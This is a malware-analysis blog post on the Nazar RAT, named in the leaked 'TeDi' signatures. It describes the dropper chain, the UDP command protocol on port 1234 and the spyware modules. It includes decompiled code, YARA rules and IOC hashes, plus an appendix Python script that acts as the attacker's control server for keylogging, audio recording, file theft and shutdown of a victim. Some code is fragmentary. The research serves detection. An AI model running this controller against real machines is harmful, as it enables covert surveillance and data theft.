Nazar: Spirits of the Past

May 5, 2020


6:22 AM 11/7/2012 conficker still on target
6:18 AM 11/7/2012 checking logs - we are clean
8:16 PM 7/2/2012 - BOOM!, got the callback

Those were some of the words that the Equation Group (NSA) operators left in the records documenting their attacks against target systems, and which were later leaked by the Shadow Brokers. The plethora of information exposed in the fifth and last leak by the Shadow Brokers, called “Lost in Translation”, and the following consequences that took shape in WannaCry and NotPetya among other things, makes this a changing point in the game of cyber security as we know it.

Recently, security researcher Juan Andres Guerrero-Saade revealed a previously misidentified and unknown threat group, called Nazar, which was part of the last leak by the Shadow Brokers. In this research, we will expand upon the analysis done by Juan and another which was written by Maciej Kotowicz, and will provide an in-depth analysis of each of the Nazar components. But the real question is, do those new revelations add a missing piece to the puzzle, or do they show us how much of the puzzle we are missing?

Prior Knowledge

While the “Lost in Translation” leak by the Shadow Brokers brought infamous exploits such as EternalBlue into the limelight, it contained many more valuable components that showed some of the possible precautions taken by the Equation Group operators before launching an attack.


A screenshot from the original post by the Shadow Brokers


For example, among the leaked files was one called “drv_list.txt“, which included a list of driver names and corresponding remarks that were sent back to the operators if the drivers were found on the target system. Naturally, the list contained many drivers that could detect the presence of an anti-virus product or a security solution (ourselves included):

Drivers mentioned in “drv_list.txt”

But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”.

Territorial Dispute, as seen in the leaked sources

Similar to a scan conducted by a security product, “TeDi” consists of 45 signatures that are used to search the target system for registry keys or filenames associated with other threat groups. But we can assume that the end purpose in this case, unlike that of a security scan, is to make sure that Equation Group’s operations are not disrupted and that their own tools are not detected by other adversaries (or “other peeps”, as they are called in “TeDi”) monitoring the same system.

Code snippet from TeDi’s leaked sources

In certain cases, this also guarantees that the Equation Group themselves do not disrupt the ongoing operations of “friendly” threat groups, and do not attack the same target.

Extensive research work has been done by CrySys Labs in 2018 to try and map each of the 45 signatures to the respective threat group it is meant to detect since no names were included in “TeDi” itself.

Examples for signatures found on TeDi’s leaked sources

Despite the relatively scarce amount of information it contains, security researchers often revisit “TeDi” in an attempt to get a better understanding of threat groups that the Equation Group had visibility to back then, as some of which are still (to this day) unknown to the public.

Security researcher Juan Andres Guerrero-Saade has shown that the 37th signature in “TeDi” which looks for a file called “Godown.dll” points to what might be an Iranian threat group he dubbed “Nazar”, rather than a Chinese one as initially thought in the CrySys Lab report.

SIG37, the signature to detect “Nazar” by looking for “godown.dll”

The beauty of the “TeDi” project is perhaps in its minimalism: the small number of signatures it contained gave the Equation Group the capability of detecting the activity of notorious threat groups that have eluded detection and managed to remain in the shadows for years: Turla, Duqu, Dark Hotel, and the list goes on. This is the result of what we can only estimate as years of intelligence and research work on the Equation Group’s part. Equipped with this knowledge we set out to find more about the mysterious newly discovered player included in this watchlist: Nazar.

Execution Flow

Nazar’s activity is believed to have started somewhere around 2008, meaning that the group was active for at least four years, as the latest samples were created in 2012.

The CrySys Labs report pointed to a file possibly related to the 37th signature, which turned out to be an anti-virus signature database from 2015 that detected this unique Nazar artifact, “Godown.dll”. Surprisingly, the same signature contained names of the other artifacts that we have seen being used by the Nazar malware (and will explain in detail in the following sections), meaning that some security companies were already fully aware of this malicious activity back then, prior to the “TeDi” leak:

An anti-virus signature that was detecting Nazar

The initial binary that is executed in Nazar’s flow is gpUpdates.exe. It is a Self-Extracting Archive (SFX) created by a program called “Zip 2 Secure EXE“. Upon execution, gpUpdates writes three files to disk: Data.bin, info, and Distribute.exe. Then, gpUpdates.exe will start Distribute.exe which operates as an installing component.


At the start, Distribute.exe will read the other two files that were dropped by gpUpdates: info and Data.bin. The Data.bin file is a binary blob that contains multiple PE files that are concatenated in a sequence. The info file is a very small file that contains a simple struct with the lengths of the PE files in Data.bin. Distribute.exe will read Data.bin as a stream, file by file, in the order of file lengths as shown in info.

The following table shows the files concatenated in Data.bin against the lengths written in info.

Data.bin (sequence of files) info (lengths)
svchost.exe 213504
Filesystem.dll 262219
ViewScreen.dll 196608
lame_enc.dll 162304
hodll.dll 57344
Godown.dll 32768

After the aforementioned files are dropped to the disk, Distribute.exe will register 3 of the DLL files to the registry, by using regsvr32.

ShellExecuteA(0, "open", "regsvr32.exe", "Godown.dll -s", 0, 0);
ShellExecuteA(0, "open", "regsvr32.exe", "ViewScreen.dll -s", 0, 0);
ShellExecuteA(0, "open", "regsvr32.exe", "Filesystem.dll -s", 0, 0);

Afterwards, it uses CreateServiceA to add svchost.exe as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker.

Nazar’s execution flow

svchost.exe / EYService

This service is the main component in the attack, and it orchestrates the entire modules dropped and loaded by Nazar. In a sense, the EYService is only a marionette controlled by a puppeteer that sends commands to it. The communication protocol will be thoroughly explained in later parts of this blog post. As commonly seen in RAT-like components, this service mainly contains a list of supported commands, and each of these commands is assigned with a function to handle it upon a request from the attacker. The full list of commands is listed below.

As other components in Nazar, this module also does not demonstrate novel techniques or high-quality of written code. In fact, this module, like the others, is mostly based on open-source libraries that were commonly available at the time. To manage traffic and sniff packets, Nazar uses Microolap‘s Packet Sniffer SDK. To record the victim’s microphone it uses “Lame” Mp3 encoding library. For keylogging it uses KeyDLL3. BMGLib is used to take screenshots, and even for shutting down the computer, it uses an open-source project – The ShutDown Alarm.


When analyzing the networking component, the main thing we looked for was the IP of the command and control, since this could open up new paths, and perhaps recent attacks and samples. Alas, leaving no stone unturned, we could not find such an IP, and it made sense due to how Nazar is communicating.

Upon execution of the service, it begins with setting up the packet sniffing. This is done by using the Packet Sniffer SDK, in pretty much a textbook way. The main thread gets an outward-facing network adapter and uses BPF to make sure only UDP packets are forwarded to the handler.

DWORD __stdcall main_thread(LPVOID lpThreadParameter)
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  hCfg = MgrGetFirstAdapterCfg(hMgr);
    if ( !AdpCfgGetAccessibleState(hCfg) )
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
      if ( stop_and_ping == 1 )
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        stop_and_ping = 0;
  return 0;

Whenever a UDP packet arrives, its source IP is recorded to be used in the next response, whether or not there will be a response. Then, the packet’s destination port will be checked, and in case it is 1234 the UDP data will be forwarded to the command dispatcher.

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;

Types of responses

Each response will have its packet built from scratch, so it could be sent using PSSDK’s send methods : AdpAsyncSend/AdpSyncSend

There are 3 types of responses:

  • Send an ACK: With destination port 4000 and payload 101;0000
  • Send computer information: With destination port 4000 and payload 100;<Computer Name>;<OS name>
  • Send a file: The content will be sent as UDP data, followed by another packet with ---<size_of_file> The UDP destination port will be the little-endian value of the IP identification field in the request message. For example, If the server sent a packet (to destination port 1234) with identification 0x3456 ,the malware will send its response with destination port 0x5634

To make the options clearer, and to demonstrate how Nazar communicates, we have created a python script that can “play” the server controlled by the attacker, and communicate with the victim. The script is available in Appendix C.

A script we created to demonstrate how the server would communicate with Nazar

Supported Commands

As we mentioned earlier, svchost.exe, or the service named EYService, contains a list of supported commands. We analyzed two versions of the RAT and found slight differences. The entire list of supported commands, in addition to our analysis notes, are presented in the table below.

Command ID Description
311 Enable keylogger by loading the ‘hodll.dll’ library to memory and manually importing the ‘installhook’ function. The keystrokes are saved with the window name to ‘report.txt’. The written content is then sent to the server. The keylogger is based on common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph). Command 312 will disable the keylogger.
139 Shutdown the machine. The command is interacting with the Godown.dll component by spawning it based on its RCLSID and RIID. The Godown module was probably based on an open-source implementation called The ShutDown Alarm.
189 Start screen capturing. The function calls the benign ViewScreen.dll and instructs it to save screenshots in a PNG file named z.png. The file is then sent to the server. The module is based on a known open-source project named “BMGLib“, written by M. Scott Heiman. Command 313 will disable the screen capturing.
119 Responsible for recording audio using the victim’s Microphone. The recording is saved to music.mp3 and sent to the server. The implementation is based on an open-source project which uses a known open source library called “LAME MP3“. Command 315 will disable the voice recording.
199 List all drives in the PC (C:\, D:\, …) and save it to Drives.txt. The file is then sent to the server. This functionality exists as-is in Filesystem.dll but the newer variant of svchost.exe does not use the DLL, even though it is still dropped to the machine.
200 List all the files and folders in the system and saves it to Files.txt. The files and folder are separated with ;File; or ;Folder;. This functionality exists as-is in Filesystem.dll but the newer variant of svchost.exe does not use the DLL, even though it is still dropped to the machine.
201 Sends file content to the server.
209 Remove a file from the machine.
499 List program by enumerating the keys found in the following registry path: Software\Microsoft\Windows\CurrentVersion\Uninstall. The program names are then saved to a file called Programs.txt and sent to the server.
599 List all the devices on the machine and save it to a file named ‘Devices.txt’ which is then sent to the server. The devices are separated with either ‘;Root;’ or ‘;Child;’.
999 Sends 101;0000 back to the server in port 4000.
555 Sends Computer information: 100;Computer Name; OS Name back to the server in port 4000.
315 Disable voice recording.
312 Disable keylogging.
313 Disable screen capturing.
666 Pretty much NOP. Will set a flag that is also set by 119 and 189 and will be unset when sending a file. However, it is never checked.
211 Registers Godown.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe
212 Registers ViewScreen.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe
213 Registers Filesystem.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe


Godown.dll is the DLL which is in the spotlight of SIG37, and the one that started this manhunt after the unknown malware. Before it was caught by law-abiding security analysts, one could imagine Godown.dll to be the mastermind behind this whole operation, the component to control them all, some hidden gem, or an unseen rose. In reality, Godown.dll is a tiny DLL with one and only goal – to shut down the computer. Believe us, we tried hard to find any hidden or mysterious functionality inside the binary, but nothing was there, except a shutdown command. The reasons to take 5 lines of C code and place them in a DLL, put it in Data.bin, drop it to the disk, register it as a COM DLL using regsvr32 and then call it indirectly using GUID – are beyond our understanding. But well, it was good enough of a lead to revealing Nazar, and for that, we should be thankful.


Out of all the modules used in this attack, Filesystem.dll might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: Drives.txt and Files.txt.

We were able to get our hands on two versions of this module that were created a year apart, both of which included PDB paths that mentioned a folder with the Persian name Khzer (or خضر):

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

Upon closer inspection, there are some differences between the two paths: One starts with the C:\\ partition while the other starts with D:\\, one uses Khzer (uppercase) while the other uses khzer (lowercase), and so on. This might indicate that the two versions of the module were not compiled in the same environment, and is further strengthened by some of the included headers’ paths, which show that Visual Studio was installed in two different locations:

But these are not the only differences between the two versions: while the Filesystem.dll module was dropped by all the known variants of gpUpdates.exe, it was not always used in the same manner.

For example, versions of svchost.exe dating back to 2010 have three commands that have since been omitted: “211”, “212”, and “213”. Those commands allow svchost.exe to register the dropped DLL modules using regsvr32, a functionality that was later migrated to Distribute.exe (as described in the Execution Flow section above).

An omitted command presented in svchost.exe, as can be seen in Cutter

Then, when a command is received by the C2 to collect the files and drives on the system, the Filesystem.dll module is called after it was registered:

Registering Filesystem.dll, as can be seen in Cutter

On the other hand, a more recent version of svchost.exe that was created in 2012 replicates the file and drive lookup functionalities found in Filesystem.dll when receiving the “199” and “200” commands from the C2, and performs the search itself. Therefore, even though it is still dropped in this case, it appears that the Filesystem.dll module is not used in the newer versions of Nazar:

The same functionality presented in both files as can be seen in the disassembly from Cutter


The hodll.dll module is responsible for recording the user’s keystrokes. It is done, as most keyloggers do, by setting a Windows hook for keyboard inputs. While there are many implementations of keyloggers available, we believe that this implementation is based on one or more open-source projects. Specifically, we believe that the code was taken from common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph) or by a fork of these projects, as many are available. In fact, the samples of hodll.dll we put our hands on, looked like they were built from different layers of open source projects. In a way, it looked like someone copied code from the internet, and then deleted it partially, and took other code, and deleted it as well, and so on. The final result contained evolutionary pieces from multiple layers of code.


This DLL is based on a known open-source project named “BMGLib” and it is used to take screenshots of the victim’s computer. No major changes, if any, were added to the original source, and this is yet another example of how the Nazar malware uses an entire library just for a small task.


In this article, we tried to gather all the information we learned about Nazar since its recent exposure. We dived deep into each and every one of the components and tried to solve as many mysteries as possible. The leaked information by the Shadow Brokers taught us that the NSA knew about Nazar for many years, and thanks to other researchers, the community was able to strikethrough another unknown malware family from the list of signatures in “TeDi”.

Many of the signatures in “TeDi” described advanced and novel malware families, but this does not appear to be the case with Nazar. As we have shown in the article, the quality of the code, as well as the heavy usage of open source libraries, does not match the profile of a shrewd threat actor. And although we tried to cover everything, there are still many unanswered questions surrounding those discoveries: What happened to the Nazar group, did they evolve into other groups that are nowadays known under different names? Are they still active? Are there more samples out there? With those questions and others on our minds, we cannot help but leave this open-ended.


Appendix A: Yara Rules

In his blog post, Juan published Yara rules to ease detection. The rules are well written and cover the different components. We want to share some rules we created during our analysis, to add to the existing rules.

rule apt_nazar_svchost_commands
        description = "Detect Nazar's svchost based on supported commands"
        author = "Itay Cohen"
        date = "2020-04-26"
        reference = "<>"
        hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
        hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
        $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
        $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
        $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
        $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
        $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }
        4 of them

rule apt_nazar_component_guids
        description = "Detect Nazar Components by COM Objects' GUID"
        author = "Itay Cohen"
        date = "2020-04-27"
        reference = "<>"

        hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
        hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
        hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
        hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
        hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
        hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
        hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
        hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
        hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
        hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
        hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
        hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
        hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"

        $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID
        $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID
        $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown

        $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID
        $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID
        $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll 

        any of them

Appendix B: Indication of Compromises

File Sha-256
gpUpdates.exe 4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca
Data.bin d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61
Distribute.exe 839c3e6ba65e5d07a2e0c4dd4a2c0d7ae95a266431dd3f8971b8a37d17b1ddf6
Filesystem.dll 1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390
Hodll.dll 0c09fedc5c74f90883cd3256a181d03e4376d13676c1fe266dbd04778a929198
Godown.dll 967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b
svchost.exe 2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6
ViewScreen.dll (benign) 5a924dec60c623cf73f5b8505e11512ad85e62ac571a840ab0ff48d4a04b60de
pssdk41.sys (benign) 048208864c793a670159723b38c3ea1474ccc62e06b90833bdf1683b8026e12f
lame_enc.dll (benign) c84100d52c09703e32951444bd7ba4e22c5d41193e7420aacbbc1f736f4c4e1f

Appendix C: Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse

DST_PORT = 1234

# 4000 is the usual port without sending files, but we use it for everything, because why not?

# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H',4000))[0]

def get_response(sock, should_loop):
    started = False
    total_payload = b''
    while(should_loop or not started):
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
	            payload, client_address = sock.recvfrom(4096)
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord('9')):

            should_loop = False
        started = True

MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim's machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim's machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.

* (append a path, use double-backslashes)
quit to Quit,
help for this menu.

def get_message():
    while True:
        curr_message = input('> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            return curr_message

def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = ''
    server = (server_address, SERVER_PORT)
    return sock     

def main(ip_addr):
    sock = get_sock()
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        curr_message = get_message()
        if not curr_message:

        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
            IP(dst=ip_addr, id=ID)/

        command = curr_message[:3]
        if command not in all_commands:
        should_loop = command in multi_packets
        get_response(sock, should_loop)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    args = parser.parse_args()